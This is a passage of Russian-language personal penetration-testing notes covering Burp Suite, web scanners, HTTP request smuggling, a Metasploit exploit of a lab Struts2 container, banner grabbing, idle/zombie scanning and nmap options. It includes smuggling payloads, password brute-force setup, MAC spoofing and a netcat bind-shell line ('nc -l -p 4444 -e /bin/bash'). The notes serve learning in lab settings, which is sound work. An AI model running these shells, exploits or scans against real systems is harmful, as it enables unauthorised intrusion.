данные. [![изображение.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/izobrazenie.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/izobrazenie.png) Включить Intercept и открыть браузер [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/Svuimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/Svuimage.png) При включенном Intercept, при обращении к странице выводится запрос, и вариант - пропустить или блокировать. Доступна вкладка http history, где можно увидеть историю запросов и просмотреть запрос и ответ. По умолчанию перехватываются запросы. Можно перехватывать ответы. **Инструменты.** Передача в инструмент копирует данные для анализа. Не отправляет данные дальше. Repeater - ручной просмотр данных с возможностью редактирования Intruder - для автоматизированной атаки. Работает по принципу подстановки элементов из словарей Macros - можно выполнить предварительные действия Decoder - модуль для кодирования JS скриптов для XSS атак. В связи с близостью XML и html разметки, это необходимо. **Repeater** Модификация http запросов Перед отправкой, запрос можно модифицировать. Во вкладке http history будут запросы. правая кнопка - отправить в repeater позволяет скопировать запрос, модифицировать и отправить его. **Intruder** Пример подбора пароля. Общая идея:
Поиск нужного пакета Добавили в Scope адрес сайта, запустили Interception, перешли на страницу авторизации, отправили тестовые данные. В истории находим пакет, который отправлял запрос с логином и паролем: [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/a6simage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/a6simage.png) Отправляем данный пакет в Intruder [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/K2Mimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/K2Mimage.png) Указание типа атаки От типа атаки зависит дальнейшая настройка. Возможные атаки:
SniperОдин словарь. Обычно используется с одной позицией. Когда позиций несколько - перебор такой: П.1-Эл.1 П.2-значение по умолчанию ... До конца списка. Затем П.1-значение по умолчанию П.2- Эл.1 ... до конца списка. Т е количество запросов будет Длина списка Х Кол-во позиций. Значение по умолчанию - значение, прописанное между $ перед стартом атаки.
Battering RamОдин словарь. Каждый элемент размещается на всех позициях. Кол-во запросов = Длина списка.
PitchforkДля каждой позиции свой словарь. Элементы подставляются по очереди из каждого словаря последовательно. Т е Позиция 1: Словарь 1 элемент 1 Позиция 2: Словарь 2 элемент 1. Позиция 1: Словарь 1 элемент 2 Позиция 2: Словарь 2 элемент 2
Cluster BombДля каждой позиции свой словарь. Перебираются все комбинации элементов для каждого словаря.
Настройка точек фаззинга Для настройки выделяем элемент и нажимаем Add. Вокруг появляется символ $. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/mCLimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/mCLimage.png) Определение словаря подстановки Дальше интереснее. Можно использовать возможности Burp. Тогда настройка делается через интерфейс. Словарь определяется в разделе Payload. Есть ряд типов словарей, Simple - это простой список. Можно проводить дополнительную модификацию элементов словаря. Все методы в community версии медленно работают. Можно использовать [fuff clusterbomb](http://bobrobotirk.ru/books/informacionnaia-bezopasnost/page/fazzing "Фаззинг") для ускорения отправки запросов. **Sequencer** Проверка степени случайности данных. Можно ли по некоторому количеству псевдослучайных данных сказать, насколько они случайны, или есть какая-то вычисляемая закономерность? **Decoder** Этот инструмент позволяет преобразовывать текст скрипта в закодированный текст, воспринимаемый системой как валидный текст для сохранения, но хранящий внутри исполняемый код. Например для преобразования строки ``` "> ``` нужно зайти в Decoder и нажать кнопку Encode as -> HTML [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/hYXimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/hYXimage.png) В результате появится второе поле ввода, в котором будет результат. Обратное преобразование - используя Decode as. **Comparer** Сравнение запросов или ответов. **Расширения** Есть магазин расширений и API для создания собственных (Java, Python, Ruby). Для Python и Ruby требуется настройка окружения Java-... # Nikto, nuclei и др. Коммерческие: - acunetix - netsparker - IBM AppScan - WebInspect Бесплатные: - OWASP Zap - W3af - arachni - Iron Wasp - Nexpose (совместим с MSF) - Nessus (совместим с MSF) **Nikto** ``` nikto -host 172.16.10.11 -port 80 + Server: Apache/2.4.58 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29af, size: 63d6cf46a153e, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /backup/: Directory indexing found. + /backup/: This might be interesting. + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2025-08-30 20:12:35 (GMT8) (40 seconds) ``` **Nuclei** [Адрес проекта](https://docs.projectdiscovery.io/home) Отправляет DNS, HTTP, сокеты. Общая база с возможностью расширения. Можно использовать для поиска данных авторизации в локальных файлах. Основан на YAML шаблонах. Структура шаблона:
IDУникальный идентификатор шаблона
MetadataОписание шаблона (автор, ...
ProtocolПротокол
OperatorsПаттерны и получаемые данные
Простой шаблон: ```yaml id: detect-apache-welcome-page info: name: Apache2 Ubuntu Default Page author: Dolev Farhi and Nick Aleks severity: info tags: apache http: - method: GET path: - '{{BaseURL}}' matchers: - type: word words: - "Apache2 Ubuntu Default Page: It works" part: body ``` **wmap** Сканер web уязвимостей, встроенный в MSF. Почему-то предлагается сначала создать новую базу для хранения результатов. ``` msf > workspace -a for_wmap msf > workspace default * for_wmap ``` Загружаем в MSF модуль ``` msf > load wmap ``` После этого появятся команды сканера. Команда wmap\_sites управляет списком сайтов.
wmap\_sites -a http://172.16.194.172Добавить сайт для сканирования
wmap\_sites -lСписок сайтов
wmap\_sites -d \[id\]Удаляет цели из списка по id
wmap\_targets управляет endpoint сайта Добавляем сайт для сканирования
wmap\_targets -t https://172.16.194.172Добавить endpoint для сканирования
wmap\_targets -lСписок endpoint
wmap\_sites -d \[id\]Удаляет endpoint из списка по id
wmap\_run управляет запуском сканирования
wmap\_run -tСписок модулей, используемых для сканирования
wmap\_run -eВыполнить модули
wmap\_vulns выводит информацию об уязвимостях.
wmap\_vulns -lСписок уязвимостей
Однако в выводе сканера можно увидеть дополнительную информацию, которая не попала в данный список, например предположительную версию web сервера или сертификаты. В таблице vulns также уязвимости. **Cariddi** Сканер endpoint. [Git проекта.](https://github.com/edoardottt/cariddi?tab=readme-ov-file) Сначала установить go. Если не ограничить - сначала просматривает все страницы.
**Опции**
-eПоиск уязвимостей в endpoint -ef string Use an external file (txt, one per line) to use custom parameters for endpoints hunting.
-infoИщет полезную информацию. Например, быстрый поиск email ip Используется самостоятельно.
-sHunt for secrets. -sf string Use an external file (txt, one per line) to use custom regexes for secrets hunting.
-errHunt for errors in websites.
-ext intHunt for juicy file extensions. Integer from 1(juicy) to 7(not juicy).
**Настройки формата запроса**
-proxy stringSet a Proxy to be used (http and socks5 supported).
-headers stringUse custom headers for each request E.g. -headers "Cookie: auth=yes;;Client: type=2".
-headersfile stringRead from an external file custom headers (same format of headers flag).
-ruaUse a random browser user agent on every request.
-uaUse a custom User Agent.
**Настройки поиска**
-i stringIgnore the URL containing at least one of the elements of this array.
-ie valueComma-separated list of extensions to ignore while scanning. ``` cat urls.txt | cariddi -ie pdf,png,jpg ```
-it stringIgnore the URL containing at least one of the lines of this file.
-md intMaximum level the crawler will follow from the initial target URL.
-intensiveCrawl searching for resources matching 2nd level domain.
**Скорость работы**
-c intConcurrency level. (default 20)
-d intDelay between a page crawled and another.
-t intSet timeout for the requests. (default 10)
**Выходной формат**
-jsonPrint the output as JSON in stdout.
-oh stringWrite the output into an HTML file.
-ot stringWrite the output into a TXT file.
-plainPrint only the results.
**Дополнительно**
-debugPrint debug information while crawling.
-examplesPrint the examples.
-srStore HTTP responses.
-cacheUse the .cariddi\_cache folder as cache.
# HTTP request smuggling Внедрение в последовательность http запросов. Может быть критичной для HTTP/1, может работать и для HTTP/2 Критическая уязвимость, позволяющая получить доступ к данным и скомпроментировать пользователей. При архитектуре proxy/load balancer -> backend, балансировщиком отправляется несколько запросов на бэк. Запросы отправляются последовательно, и бэк обязан определять где заканчивается один и начинается следующий. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/image.png) Важно, чтобы фронт и бэк согласовали границы между запросами. Иначе можно отправить неоднозначный запрос, который будет по-разному интерпретирован интерфейсной и серверной системами [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/kIMimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/kIMimage.png) Это работает, поскольку в HTTP/1 есть два варианта определения завершения запроса: заголовки Content-Length и Transfer-Encoding. Content-Length это длина сообщения в байтах. ``` POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling ``` Transfer-Encoding означает, что текст сообщения содержит один или несколько фрагментов данных. Каждый фрагмент содержит размер фрагмента в байтах, перевод на новую строку, сам фрагмент. Сообщение завершается 0 размером фрагмента. ``` POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked b q=smuggling 0 ``` Браузеры не отправляют Transfer-Encoding запросы, это актуально для межсерверного взаимодействия. Так как возможно два варианта, в одном сообщении можно использовать оба заголовка, как будто бы они конфликтуют. Transfer-Encoding приоритетнее, поэтому Content-Length игнорируется. Это эффективно если один бэк, если несколько - проблема: - некоторые серверы не поддерживают заголовок Transfer-Encoding - могут поддерживать, но не обработать его, если заголовок запутан. Если фронт и бэк по-разному ведут себя при обработке заголовка Transfer-Encoding, то могут перепутаться границы запросов. Когда фронт HTTP/2, а бэк HTTP/1 (HTTP downgrading), то будет преобразование форматов. **Вектор атаки** Браузеры и другие клиенты, включая Burp, используют http/2 по умолчанию. Поэтому в Burp необходимо включить http/1 (Inspector -> Request attributes). [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/8trimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/8trimage.png) [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/vcXimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/vcXimage.png) Классика: отправка http/1 с двумя заголовками. Финальная реализация зависит от фронта и бэка: - TE.CL: фронт использует Transfer-Encoding, бэк Content-Length - TE.TE: фронт и бэк используют Transfer-Encoding, но один из них не обрабатывает его в связи с обфускацией **CL.TE: фронт использует Content-Length, бэк Transfer-Encoding** Пример запроса: ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED ``` Для решения лабораторной работы предлагается отправить запрос вида ``` POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G ``` Из-за того, что сервер не поддерживает метод gpost, он должен вернуть ошибку после второй отправки запроса. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/rAqimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/rAqimage.png) Правда почему content-length: 6 - неясно. Возможно перевод строки - 1, 0 - 2, перевод - 1, G - 2 # Уязвимости сетевых сервисов # Общая информация **Определения** Фреймворк эксплуатации — платформа для создания и отладки эксплойтов. Кроме того, включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям информационной безопасности. Уязвимость нулевого дня — термин, обозначающий неустранённые уязвимости. Шелл-код — двоичный исполняемый код, передающий управление консоли (/bin/sh, cmd.exe). Шелл-код может быть использован как полезная нагрузка эксплойта, обеспечивающая доступ к консоли. Опкод — код, представляющий операцию или команду, выполняемую процессором компьютера. Он является непосредственной инструкцией для выполнения определенного действия, такого как сложение, умножение, сравнение и т.д. **Типовые проблемы сетевых сервисов:** - Проблемы конфигурации - Слабые пароли - Неиспользование шифрования - Известные уязвимости **Этапы анализа сервисов:** - Поиск существующих сервисов - Получение версий сервисов - Поиск уязвимостей и эксплойтов для них - Попытки использования эксплойтов **Поиск эксплойта** Популярные фреймворки эксплуатации: - Metasploit Framework (Free): [https://www.metasploit.com/](https://www.metasploit.com/) - CobaltStrike ($$$): [https://www.cobaltstrike.com/](https://www.cobaltstrike.com/) - Exploit Pack ($$$): [http://exploitpack.com/](http://exploitpack.com/) - Core Impact Pro ($$$): [https://www.coresecurity.com/products/core-impact](https://www.coresecurity.com/products/core-impact) Если есть эксплоит, то: - разобраться в принципах его работы, - изучить код эксплойта, прежде чем запускать его, - донастроить\\дописать эксплоит под свою задачу - отладить его на своем локальном стенде - применить эксплоит **Попытка использования эксплоита** Обязательно должна быть уверенность в: - что будет делать эксплоит, как и почему это сработает; - эксплоит не нарушит работоспособности системы и не изменит ее состояние существенно; - эксплоит не содержит закладок и “логических бомб”, которые могут быть спрятаны туда злоумышленником; - после выполнения эксплойта вам не придется применять его второй раз (подготовьтесь к закреплению доступа, - убедитесь что вы решаете задачу за наименьшее число шагов) **Доп. информация** Практика: - [https://www.revshells.com/](https://www.revshells.com/) - [Платформа для самостоятельного решения задач и практик](https://tryhackme.com/room/metasploitintro) (раздел, посвященный метасплоит) - [Знакомство с метасплоит и документация](https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/) - [Краткий курс об особенностях и деталях метасплоит от разработчиков](https://www.offensive-security.com/metasploit-unleashed/) - [Практика сборки и исследования уязвимых стендов](https://github.com/vulhub/vulhub) - [Задачи на эксплуатацию уязвимостей разного рода, в т.ч. с применение готовых эксплойтов](https://www.vulnhub.com/) Теория: - [Nmap гайд](https://nmap.org/book/man.html) CheatSheets: - [Nmap все команды и флаги на 2023 г.](https://www.stationx.net/nmap-cheat-sheet/) Хакерские инструменты: ![](https://ucarecdn.com/ef1ab3d7-9316-47b9-8478-fad27ee89ed2/) # Тестовый стенд ``` docker run -it --rm -p 1337:8080 --name struts --ulimit nofile=65535:65535 piesecurity/apache-struts2-cve-2017-5638 ``` Пример атаки: ``` nmap -Pn -p- -sV 192.168.1.199 msfconsole search struts showcase use exploit/multi/http/struts2_code_exec_showcase info options set RHOSTS 192.168.1.199 set RPORT 1337 set TARGETURI /integration/saveGangster.action set PAYLOAD cmd/unix/generic set CMD 'cat /flag' check exploit ``` # Версия сервиса и ОС **Определение сервиса на порту** **Анализ баннера** У нас есть открытые порты. Но необходимо узнать, что за сервис крутится на нем. Часто сервисы публикуют т н баннер - информацию о себе. Есть сервисы, хранящие данные о сайтах, типа [https://shodan.io](https://shodan.io) [https://zoomeye.org](https://zoomeye.org) которые хранят базу данных. Это называется пассивным сканированием. Естественно администраторы могут изменять баннер. Netcat может предоставить данную информацию. ``` nc 172.16.10.11 -v 21 172.16.10.11: inverse host lookup failed: Unknown host (UNKNOWN) [172.16.10.11] 21 (ftp) open 220 (vsFTPd 3.0.5) nc 1.1.1.1 -v 22 some.address.ru [1.1.1.1] 22 (ssh) open SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.13 ``` Ключи nc:
ФлагЗначениеПример
`-l`Слушать (listen) — запускает `nc` в режиме сервера (ожидание входящих подключений)`nc -l -p 4444`
`-p <порт>`Указать порт (для прослушивания или исходного подключения)`nc -l -p 4444`
`-v`Подробный режим (verbose), показывает процесс соединения`nc -vz 8.8.8.8 53`
`-vv`Очень подробный (ещё больше информации)`nc -zvv 8.8.8.8 53`
`-z`Сканирование портов (zero-I/O mode: проверка доступности портов без передачи данных)`nc -zv 192.168.0.1 20-80`
`-u`Использовать UDP вместо TCP`nc -u 192.168.0.10 123`
`-n`Не использовать DNS (работать только с IP, не пытаться резолвить имена)`nc -vz -n 192.168.0.1 80`
`-w <сек>`Таймаут соединения`nc -vz -w 3 8.8.8.8 53`
`-q <сек>`Закрыть соединение после EOF через указанное время`echo hi
`-k`Продолжать слушать после разрыва соединения (серверный режим)`nc -lk -p 4444`
`-e <программа>`Запуск программы после подключения (опасный флаг!, часто отключён в безопасных сборках `nc`)`nc -l -p 4444 -e /bin/bash`
Сбор информации о баннере: ```bash #!/bin/bash FILE="$1" PORT="$2" while read -r ip; do res=$(echo -e "\n" | nc -v "${ip}" -w 1 "${PORT}" 2> /dev/null) if [[ -n "${res}" ]]; then echo "Service: ${ip}:${PORT}" echo "Banner: ${res}" fi done < "${FILE}" ``` **Анализ http ответа сервера** При помощи curl с помощью метода head можно получить информацию об http сервере. ```bash curl --head 172.16.10.10:8081 HTTP/1.1 200 OK Server: Werkzeug/3.0.1 Python/3.12.3 Date: Sat, 30 Aug 2025 08:41:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 7176 Connection: close ``` Приложение whatweb предоставляет расширенную информацию об http сервере. Синтаксис: ```bash whatweb 172.16.10.10:8081 http://172.16.10.10:8081 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.1 Python/3.12.3], IP[172.16.10.10], Python[3.12.3], Title[Menu], Werkzeug[3.0.1], X-UA-Compatible[ie=edge] whatweb 172.16.10.10:8081 --log-json=/dev/stdout --quiet | jq # в формате JSON ``` Т е скомбинировав данные, полученные после сканирования, можно определить некоторые стартовые позиции. При определении версии сервиса бывает неточным. Дополнительные способы определения версии: - Подсчет контрольных сумм статичных файлов, для сравнения их с файлами определенной версии (favicon, js код, изображения) - Исследование изменений в коде и изучение патчей, которые видны из кода веб страниц, сравнение их с версиями кода в репозиториях - Поиск функций отладки или специальных страниц, раскрывающих информацию о ПО Также есть базы знаний и инструменты: - База знаний Common Vulnerabilities and Exposures - [https://cve.mitre.org/](https://cve.mitre.org/) - Платформа Vulners - [https://vulners.com/](https://vulners.com/) - База данных эксплойтов от Offensive Security - [https://www.exploit-db.com/](https://www.exploit-db.com/) - Платформа управления уязвимостями и анализа угроз - [https://vuldb.com/](https://vuldb.com/) Также могут помочь поисковые движки (google.com), публичные репозитории (github.com), блоги разработчиков ПО, китайский сегмент интернета, и пр. **Получение информации об операционной системе** Способ формирования TCP ответа несколько отличаются для разных ОС. Можно определить примерный тип ОС и иногда версию ядра. Опция -O позволяет проанализировать данную информацию. ``` sudo nmap -O -iL 172-16-10-scanning-hosts.txt Nmap scan report for 172.16.10.11 Host is up (0.000038s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http MAC Address: F6:F2:1D:05:71:02 (Unknown) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop ``` Получение данных: ```bash #!/bin/bash HOSTS="$*" if [[ "${EUID}" -ne 0 ]]; then echo "Run script with sudo." exit 1 fi if [[ "$#" -eq 0 ]]; then echo 'Need at least one IP' exit 1 fi nmap_scan=$(sudo nmap -O ${HOSTS} -oG -) while read -r line; do ip=$(echo "${line}" | awk '{print $2}') os=$(echo "${line}" | awk -F'OS: ' '{print $2}' | sed 's/Seq.*//g') if [[ -n "${ip}" ]] && [[ -n "${os}" ]]; then echo "IP: ${ip} OS: ${os}" fi done <<< "${nmap_scan}" ``` Также можно проанализировать версию, обратившись к 445 порту (Windows, Linux). ```bash msf > use auxiliary/scanner/smb/smb_version msf auxiliary(smb_version) > set RHOSTS 192.168.1.200-210 RHOSTS => 192.168.1.200-210 msf auxiliary(smb_version) > set THREADS 11 THREADS => 11 msf auxiliary(smb_version) > run ``` В случае подключенной базы, информация будет в hosts. **Скрытое сканирование** При помощи модуля auxiliary/scanner/ip/ipidseq можно найти машины со старой уязвимостью в нумеровании TCP пакетов, и затем использовать их как зомби. ``` msf > use auxiliary/scanner/ip/ipidseq msf auxiliary(ipidseq) > show options Module options (auxiliary/scanner/ip/ipidseq): Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(ipidseq) > set THREADS 50 THREADS => 50 msf auxiliary(ipidseq) > run [*] 192.168.1.1's IPID sequence class: All zeros [*] 192.168.1.2's IPID sequence class: Incremental! [*] 192.168.1.10's IPID sequence class: Incremental! [*] 192.168.1.144's IPID sequence class: Incremental! ``` Incremental означает возможность использования. Сканируем от имени зомбарей: ``` msf auxiliary(ipidseq) > nmap -Pn -sI 192.168.1.109 192.168.1.114 [*] exec: nmap -Pn -sI 192.168.1.109 192.168.1.114 Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-14 05:51 MDT Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental Interesting ports on 192.168.1.114: Not shown: 996 closed|filtered ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-term-serv MAC Address: 00:0C:29:41:F2:E8 (VMware) Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds ``` [Определение MSSQL](https://www.offsec.com/metasploit-unleashed/hunting-mssql/) В metasploit много сканеров на различные сервисы, список ``` use auxiliary/scanner/ ``` # NMAP Open source приложение для сканирования сети. **Общие флаги**
nmap -e eth2 scanme.nmap.orgКонкретный интерфейс
nmap -A <target>Агрессивный режим (объединение режимов определения версии ОС, версий сервисов, скрипт сканирования, трассировки)
-nотключить обратное разрешение IP в DNS
--data-length <length>Добавка случайных байтов информации к каждому пакету
nmap -iL targets.txtЗапуск с источниками из файла. Могут разделяться пробелом, табуляцией или переводом строки. Поддерживает диапазоны 192.168.1.20-30 192.168.\* 192.168.0/24 scanme.nmap.org/24 комментарии ``` cat targets.txt # FTP servers 192.168.10.3 ```
nmap 192.168.1.1-255 --exclude 192.168.1.1Исключение из диапазона
nmap --exclude-file dontscan.txt 192.168.1.1/24Исключение адресов из файла
--randomize-hostsперемешивание последовательности узлов
nmap -iR 100100 случайных адресов -iR 0 это все адреса.
http-max-cache-size=0Отключение кэша (по умолчанию включен)
-sLимя сетевого узла
**Таймауты**
--max-rtt-timeoutМаксимальное время ожидания ответа. По умолчанию несколько секунд. ``` sudo nmap -sU --max-rtt-timeout 100ms host.ru ```
--host-timeout Ограничение времени сканирования всего хоста. ``` sudo nmap -sU --host-timeout 5m host.ru ```
--max-retries Максимальное количество повторных попыток. ``` sudo nmap -sU --max-rtt-timeout 100ms --max-retries 0 host.ru ```
-T4Время задержки (ожидания) между запросами, 0 - очень много, 3 - по умолчанию, 5 - очень быстро
**Поиск хостов** NMAP использует несколько техник пинга с использованием разных протоколов. -PS/PA/PU/PY \[portlist\]: TCP SYN/ACK, UDP or SCTP discovery to given ports -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes -PO \[protocol list\]: IP protocol ping Номера протоколов поверх IP
1 ICMP
2IGMP
4IP-in-IP
6TCP
17UDP
132SCTP
Для остальных протоколов только будут установлены IP заголовки. Все техники по умолчанию отправляют пустые запросы.
КлючОписание
-sn <target>Ping-сканирование сети. ```bash nmap -sn 192.168.1.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 09:02 +08 Nmap scan report for 192.168.1.1 Host is up (0.00044s latency). MAC Address: 00:18:E7:F3:65:EE (Cameo Communications) ``` Отправляются разные пакеты в зависимости от привилегий пользователя. С опцией traceroute должен показывать дополнительные маршруты, но это не то же самое что traceroute. У меня до всех тестовых адресов получился один шаг ```bash nmap -sn --traceroute microsoft.com Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 11:03 +08 Nmap scan report for microsoft.com (13.107.246.77) Host is up (0.00055s latency). Other addresses for microsoft.com (not scanned): 2603:1020:201:10::10f 2603:1010:3:3::5b 2603:1030:b:3::152 2603:1030:20e:3::23c 2603:1030:c02:8::14 TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 0.53 ms 13.107.246.77 Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds ```
nmap -sn -PS <target>TCP SYN сканирование. ``` nmap -sn -PS 192.1.1/24 ``` SYN пакет на 80 порт, если порт закрыт - приходит RST, если открыт - SYN/ACK. Потом отправляем RST пакет. Фаер может блокировать RST для закрытых сервисов, поэтому можно донастроить скан ``` nmap -sn -PS80,100-1000 ``` Но SYN пакеты могут блокироваться, поэтому следующий способ
nmap -sn -PA <target>TCP ACK сканирование. Пустой TCP-пакет с флагом ACK, на порт 80 (по умолчанию). Если хост отключен, он не должен отвечать на этот запрос. Иначе RST и будет считаться подключенным к сети. ``` nmap -sn -PA22,1000-65535 ```
nmap -sn -PU <target>UDP сканирование. Порт 40125. Аналогично настройка портов
nmap -sn -PE <target>Стандартное Echo сканирование.
nmap -sn -PP <target>Echo timestamp сканирование.
nmap -sn -PM <target>Echo reply сканирование.
nmap -sn -PY <target>SCTP INIT сканирование. Аналогичная настройка портов.
nmap -sn -PO <target>IP сканирование. ``` nmap -sn -PO1,2,17 scanme.nmap.org ``` Здесь 1, 2, 17 - номера протоколов
nmap -sn -PO --data-length 100 scanme.nmap.org\--data-length 100 генерация случайных данных
nmap -sn -PR <target>ARP ping
nmap -sn -PR --spoof-mac <mac address> <target>Подмена MAC-адреса может позволить нам подделать источник наших подключений и может быть полезна для обхода систем идентификации. MAC-адрес можно подделать во время проверки ARP-связи. Используйте --spoof-mac для установки нового MAC-адреса:
-sn --script dns-brute bobrobotirk.ruБрутфорс по доменным именам
-sWПохож на ACK, определяет статус порта анализируя поле TCP Window в RST ответе. Открытые больше 0, закрытые - 0.
-sIСканирование от лица другого узла. Старые системы увеличивают IP-ID на 1 с каждым новым исходящим пакетом. Это ключевая уязвимость.
Хост должен мало использоваться и иметь предсказуемый IP-ID.
Процесс сканирования одного порта:
- Запрос "зомби" (например, SYN-пакет), сохраняется IP-ID ответа (например X) - Отправка пакета от имени "зомби" на целевой порт сканируемой машины. Если порт открыт, цель ответит "зомби" пакетом SYN/ACK. Если порт закрыт, цель ответит "зомби" пакетом RST. - Повторный запрос "зомби" и анализ нового значения IP-ID. X+1 означает, что "зомби" не отправил ни одного своего пакета. Следовательно, порт на цели фильтруется (брандмауэр молча отбросил пакет). X+2 означает, что "зомби" получил от цели ответный пакет и ответил на него своим RST. Вывод: порт на цели открыт или закрыт.
Чтобы отличить открытый порт от закрытого, сканер анализирует, на какой именно пакет отреагировал "зомби".
Причины использования: анонимность и обход правил фильтрации (если "зомби" доверенный)
``` sudo nmap -sI zombie.example.com target.example.com ```
**Поиск зомби:**
Скрипт ipidseq.
``` sudo nmap -sS -p 80 --script ipidseq ```
По умолчанию 6 пакетов. Параметр --script-args ipidseq.probes=10 улучшает качество проверки.
Результат:
- Incremental! Подходит. IP-ID увеличивается на постоянную величину. - All zeros или Constant Не подходит. В поле IP-ID всегда ноль/константа. В некоторых старых системах или специфичном сетевом оборудовании. - Random Не подходит. - Broken incremental! Увеличивается на непостоянную величину (например, +1, +2, +1, +3). Не подходит./подождать, может успокоится.
Проверил роутеры DIR-650 и ASUS RT-N18U. На первом Incremental, на втором - All zeros. Пакеты, идущие сквозь, не влияют. При сканировании на целевом хосте в качестве порта источника видится http или https порт зомби.
-sn --script broadcast-ping 192.168.0.1/24Броадкастовый пинг. Отправляется броадкастовый запрос и ждем результат. broadcast-ping.num\_probes=5 количество пингов ``` nmap --script broadcast-ping --script-args broadcast-ping.num_probes=5 ``` broadcast-ping.timeout=10000 таймаут broadcast-ping.interface=wlan3 интерфейс \--script-args=newtargets позволяет просканировать хосты, от которых получен ответ \--script-args max-newtargets=3 ограничивает кол-во сканируемых хостов
nmap --script broadcastЗапускает все скрипты категории broadcast
Можно комбинировать технологии ``` nmap -sn --send-ip -PS21,22,23,25,80,445,443,3389,8080 -PA80,443,8080 -PO1,2,4,6 -PU631,16 ``` **Эффективность технологий сканирования** ([оригинал](https://www.bamsoftware.com/wiki/Nmap/EffectivenessOfPingProbes)) Интересная статья. Проба эффективности различных комбинаций технологий на основании 1000 случайных сетей. Был сформирован список и приведены результаты различных технологий и комбинаций с процентом результативности. 100% результат - найденные любой технологией хосты. А затем - поиск комбинации технологий с наибольшим процентом попадания и времени на каждую вариацию. Вывод, который я для себя сделал на основе данных: - Стартовый поиск адресов и портов важная процедура. Однако только один из компонентов. - Психология и поставленные задачи критичны. Направленные и ненаправленные взломы происходят по разным алгоритмам. - Ненаправленные взломы были, есть и будут. Оно дает шум в логах, за которым может прятаться направленный хакер. - Время жизни важно. Сервис "на месяц" отличается от "на год". - Одна технология дает в лучшем случае 50-60% результат. Однако непопулярные технологии могут показать защищенные от явного сканирования хосты, хотя не справиться с простыми. Поэтому либо тьма времени + высокая вероятность обнаружения, либо результат в 70-80 процентов. - Эти данные масштабного сканирования. Эффективность от затраченного времени растет нелинейно. В районе 90% каждый дополнительный процент стоит дней. - В случае направленного теста каждый фактор, предоставляющий дополнительную информацию (например ОС, возможные сервисы, ожидаемая степень защиты) увеличивает шансы и скорость. Возможно, нужен некий справочник/сервис, агрегирующий данные по удачным вариантам в зависимости от дополнительных условий. - Нестандартные порты рулят, но их нужно правильно прятать. Это ограничивает ненаправленных хакеров. - Логирование + проактивная защита как минимум поможет увидеть попытки. Однако необходим баланс между стоимостью защиты (фильтрации) и ценностью информации - Тупое сканирование будет незаметно только в системах с отсутствием защиты. - Данные 2009 года, сейчас рулят облака и ситуация думаю слегка поменялась. - Возможно общедоступные сервисы стоит выносить в 